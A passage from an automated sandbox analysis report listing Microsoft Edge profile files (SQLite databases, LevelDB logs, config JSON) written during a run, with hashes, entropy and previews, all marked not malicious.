Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.170993623083365
Encrypted:	false
SSDEEP:	6:HAp2Oq2P923oH+TcwtnG2tMsIFUt8YApZXZmw+YApZFkwO923oH+TcwtnG2tMsLJ:gFv4Yebn9GFUt87LX/+7LF5LYebn95J
MD5:	FF7114BC43B6AC5DC8D9B4BB4FC0EE5D
SHA1:	97F9726169A906DA3369A7625AC18C436675EEC2
SHA-256:	1F4B46411CD718897D9D62BE8509EB002DCD6978490533C2B3E40BED85EDDFFA
SHA-512:	3C974902CE2418D0EB1B940A448538590D350EE12103E900B02A5753EE86E746AC006D062C9DF894EFD12CFB98D01A49346CDA9263A11F38272EAE41F26C35BC
Malicious:	false
Preview:	2024/11/25-10:21:25.928 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-10:21:25.929 1e60 Recovering log #3.2024/11/25-10:21:25.929 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.170993623083365
Encrypted:	false
SSDEEP:	6:HAp2Oq2P923oH+TcwtnG2tMsIFUt8YApZXZmw+YApZFkwO923oH+TcwtnG2tMsLJ:gFv4Yebn9GFUt87LX/+7LF5LYebn95J
MD5:	FF7114BC43B6AC5DC8D9B4BB4FC0EE5D
SHA1:	97F9726169A906DA3369A7625AC18C436675EEC2
SHA-256:	1F4B46411CD718897D9D62BE8509EB002DCD6978490533C2B3E40BED85EDDFFA
SHA-512:	3C974902CE2418D0EB1B940A448538590D350EE12103E900B02A5753EE86E746AC006D062C9DF894EFD12CFB98D01A49346CDA9263A11F38272EAE41F26C35BC
Malicious:	false
Preview:	2024/11/25-10:21:25.928 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-10:21:25.929 1e60 Recovering log #3.2024/11/25-10:21:25.929 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6132063220756975
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j0Dap0k4mL:TO8D4jJ/6Up+YDB+
MD5:	2B9FD777193DFEC78957DF8617FF94F7
SHA1:	7B59CF17E40BB6FFA11D5966A54EAC451F88D90B
SHA-256:	CAA8373739CBE6E2E33D8E782B3F7AED497B17C021C5EAC6E2C0A26F3B317ACF
SHA-512:	1AEB7E443B9356F85C05E01769555A3DA83B34AFCA589FD5BD6CECED6AD27DF80D56635E886E577146FB91ADEF5147DDE7C0F7B20092A23F85E6A75FDB34270E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354105315026458
Encrypted:	false
SSDEEP:	6144:UA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:UFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	C2E07DC3B22CAF8BCF6D0984AA4FA079
SHA1:	CFDA111071751ADE5844E9A03A6D3E281B53BA9E
SHA-256:	FDF851CAB0BAADADB25681BA6690D361EB1352860ECDD215B570F6F76F436BE1
SHA-512:	04DDB9CABF93795133781AB3BD34F5937D2D59C72255396D50C5D243B2A5292408A4BF62BEB3A0FFF838B869BE1100B5FEBB37F6C670CB38A3BAE21BD6BF0CA1
Malicious:	false
Preview:	...m.................DB_VERSION.1.=].q...............&QUERY_TIMESTAMP:domains_config_gz2...13377021693916875..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.150747415751521
Encrypted:	false
SSDEEP:	6:HApKQUFD1923oH+Tcwtk2WwnvB2KLlVApk/t+q2P923oH+Tcwtk2WwnvIFUv:gUQUFmYebkxwnvFLo6Av4YebkxwnQFUv
MD5:	B0EA01B30B432411A1D495EF4F1DFCAC
SHA1:	8C35A92A0C1A55BABD9D23C0BBD1CC4EA250AEEA
SHA-256:	00EC2052BD7CEFFA39327CB30F28149329201C94DC484FA0F30ED94DD749F487
SHA-512:	7B44D74BA1540E2FF04D0EEE1CC7A7823B332795E5CE8C04E77E15165B633C18595FE7F55819D81A8BCD8473B6B6AA49DC6CDCB1C5511286BBC13541E421F996
Malicious:	false
Preview:	2024/11/25-10:21:30.255 2168 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/25-10:21:30.321 2168 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324615899312283
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Ry:C1gAg1zfvK
MD5:	9523CA840D4B89648A71A1FB2EAED570
SHA1:	683AD850EF845E3E265DFFAF4578888917BD40AA
SHA-256:	09BAD1C8FA289DD41519FEBFECF36A74CD613BCC009AB9A2CB23B3F428A1D3B9
SHA-512:	B424F82028F9390BE09FBD8CE79A7C4565583868A7D6E78C56034DD092C985971B40DE90EB96037AF2C5BA3556E55EE3B8C275442227751BD9E810CA6F9D2B82
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.111154930327219
Encrypted:	false
SSDEEP:	6:HApFmq2P923oH+Tcwt8aPrqIFUt8YAprBNZmw+YAprB/kwO923oH+Tcwt8amLJ:gWv4YebL3FUt8793/+79l5LYebQJ
MD5:	92855142390C642E74140F173A8CB4E9
SHA1:	022C96AD65ECF53D07F3D36B3ED531F276CF7141
SHA-256:	BDC3B765595DE74C3CFAB75F17C35E61B649071C24A22FBBE6538A3A2F4EC5FF
SHA-512:	0D3C68B9B3ED568C89187C7D11A48DD4C7D2FA436D0A1FC799DBE8E7CB78CE45DEDB229F699E807FA09E51FC4C0610938E7A506C80D28A21E016E3D2558C3314
Malicious:	false
Preview:	2024/11/25-10:21:25.749 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-10:21:25.750 1e24 Recovering log #3.2024/11/25-10:21:25.750 1e24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.111154930327219
Encrypted:	false
SSDEEP:	6:HApFmq2P923oH+Tcwt8aPrqIFUt8YAprBNZmw+YAprB/kwO923oH+Tcwt8amLJ:gWv4YebL3FUt8793/+79l5LYebQJ
MD5:	92855142390C642E74140F173A8CB4E9
SHA1:	022C96AD65ECF53D07F3D36B3ED531F276CF7141
SHA-256:	BDC3B765595DE74C3CFAB75F17C35E61B649071C24A22FBBE6538A3A2F4EC5FF
SHA-512:	0D3C68B9B3ED568C89187C7D11A48DD4C7D2FA436D0A1FC799DBE8E7CB78CE45DEDB229F699E807FA09E51FC4C0610938E7A506C80D28A21E016E3D2558C3314
Malicious:	false
Preview:	2024/11/25-10:21:25.749 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-10:21:25.750 1e24 Recovering log #3.2024/11/25-10:21:25.750 1e24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.13779321289319
Encrypted:	false
SSDEEP:	6:HAprLcq2P923oH+Tcwt865IFUt8YAp5ZZmw+YAp5zkwO923oH+Tcwt86+ULJ:g9Lcv4Yeb/WFUt87PZ/+7Pz5LYeb/+SJ
MD5:	35114A271310FD0C5B6D244B06677106
SHA1:	9663543F7BF6203A8F7B3D59431374B2EEB3E9D5
SHA-256:	EB147931240C5072012AB400A2597C8543CF9E429EFC9D5A9913BE69E25EEE06
SHA-512:	2D21AAB7A3101D17C7F0640F251E13DCBB2112A8B3D4B955337F9BDBCF1A807A779A1B4A1F31C590E02445137E155BC2E47A359763F231016A6446CC56F1385C
Malicious:	false
Preview:	2024/11/25-10:21:25.756 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-10:21:25.761 1e24 Recovering log #3.2024/11/25-10:21:25.761 1e24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.13779321289319
Encrypted:	false
SSDEEP:	6:HAprLcq2P923oH+Tcwt865IFUt8YAp5ZZmw+YAp5zkwO923oH+Tcwt86+ULJ:g9Lcv4Yeb/WFUt87PZ/+7Pz5LYeb/+SJ
MD5:	35114A271310FD0C5B6D244B06677106
SHA1:	9663543F7BF6203A8F7B3D59431374B2EEB3E9D5
SHA-256:	EB147931240C5072012AB400A2597C8543CF9E429EFC9D5A9913BE69E25EEE06
SHA-512:	2D21AAB7A3101D17C7F0640F251E13DCBB2112A8B3D4B955337F9BDBCF1A807A779A1B4A1F31C590E02445137E155BC2E47A359763F231016A6446CC56F1385C
Malicious:	false
Preview:	2024/11/25-10:21:25.756 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-10:21:25.761 1e24 Recovering log #3.2024/11/25-10:21:25.761 1e24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.11871605121153
Encrypted:	false
SSDEEP:	6:HApEQbWM+q2P923oH+Tcwt8NIFUt8YApEQT2z1Zmw+YApEQT2lWMVkwO923oH+TG:grL+v4YebpFUt876Z/+76lLV5LYebqJ
MD5:	A9650D8B2766E2310B1A1A53E928E5A7
SHA1:	C573A15FDA195168AC3B4D1DE8E5FB69EC14DF4F
SHA-256:	C496EA240CDF934CFAA174B647A616DB3BB0CF924698ABC4F633C89801D1778D
SHA-512:	3091CC3592EE1E47F0BAC7AD25EFAB819CAA5C3D6770965734D9A1C8D210FB0A855C6F87B83C114C7E01275E41DF5FB6EAFBEA057586F5220A23F947401502A8
Malicious:	false
Preview:	2024/11/25-10:21:26.655 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-10:21:26.656 1dac Recovering log #3.2024/11/25-10:21:26.656 1dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.11871605121153
Encrypted:	false
SSDEEP:	6:HApEQbWM+q2P923oH+Tcwt8NIFUt8YApEQT2z1Zmw+YApEQT2lWMVkwO923oH+TG:grL+v4YebpFUt876Z/+76lLV5LYebqJ
MD5:	A9650D8B2766E2310B1A1A53E928E5A7
SHA1:	C573A15FDA195168AC3B4D1DE8E5FB69EC14DF4F
SHA-256:	C496EA240CDF934CFAA174B647A616DB3BB0CF924698ABC4F633C89801D1778D
SHA-512:	3091CC3592EE1E47F0BAC7AD25EFAB819CAA5C3D6770965734D9A1C8D210FB0A855C6F87B83C114C7E01275E41DF5FB6EAFBEA057586F5220A23F947401502A8
Malicious:	false
Preview:	2024/11/25-10:21:26.655 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-10:21:26.656 1dac Recovering log #3.2024/11/25-10:21:26.656 1dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:ZTZtFlljq7A/mhWJFuQ3yy7IOWU43dweytllrE9SFcTp4AGbNCV9RUIa:tC75fOK3d0Xi99pEYE
MD5:	497EADDF3F46DA3DDB261D9AC9608D31
SHA1:	89F0AC26DFF072AA2C060447851962B36110E56D
SHA-256:	31A0BA74E2291513DC622C9504FBA63E2FF5AA1CBADBDCFB2DC727B9D7394CC6
SHA-512:	0B66482E9A4238BD743C01690E603CE4DD416A5D68F163CD39E73B54F81357401CFDB6D949E08031F653A2DF1BF7FFF514042E978546C500A75928878A6F3712
Malicious:	false
Preview:	............R-.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480765067883114
Encrypted:	false
SSDEEP:	384:aj9P0tcAjl+QkQerDP/Kbt+773pL9hCgam6ItRKToaAu:adTKl+e2DP/P7Pv9RKcC
MD5:	206D5391A36486D9E39C96DC9C6995AB
SHA1:	0D3ECF912D29427827B87521F9010AF7E2D84EF0
SHA-256:	CE70C08E22AFBECDF3D344FCC276BEDA4A4CA9B8C1EAF8DCA15CB663943F7B6F
SHA-512:	26AE30E175400A8921499A5B76D4A402B8CBC014BE48BE68D79230380C579657C3FBFC2A550ECF391EAC64672FF83FEB577FA30C5F33DF1C256B5A271F71EDF1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

